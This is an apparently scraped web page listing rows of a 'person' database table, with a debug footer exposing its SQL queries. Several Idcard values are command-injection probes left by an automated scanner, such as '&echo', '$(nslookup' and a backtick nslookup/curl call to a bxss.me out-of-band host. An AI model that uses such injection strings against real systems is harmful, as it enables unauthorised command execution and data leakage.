person

Person ID
Idcard
Name
Position
Address
Phone
Date
Person Type ID
Department ID
Cumulative
Year
Balance
Status Person ID
    
363 1 QPbmCRVM 1 3137 Laguna Street 5556660606 00/00/0000 1 1 1 1,967 1 1
364 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
365 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 0 1 1,967 1 1
366 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
367 echo bopxrh$( QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
368 &echo sdd QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
369 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
370 1&echo vy QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
371 |echo uvorgh$ QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
372 1|echo sflwnx QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
373 (nslookup -q= QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
374 $(nslookup -q QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
375 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
376 &nslookup QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
377 1 QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
378 &(nslooku QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
397 1 `(nslookup -q=cname hitssvaglcwnj0e6c2.bxss.me||curl hitssva 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
379 |(nslookup -q QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
380 `(nslookup -q QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1
381 ;(nslookup -q QPbmCRVM 1 3137 Laguna Street 5556660606 01/01/1967 1 1 1 1,967 1 1

Debug

sql: SELECT COUNT(*) FROM `person`, executionMS: 0.00016593933105469

sql: SELECT * FROM `person` LIMIT 20 OFFSET 360, executionMS: 0.00050592422485352

Page processing time: 0.109906 seconds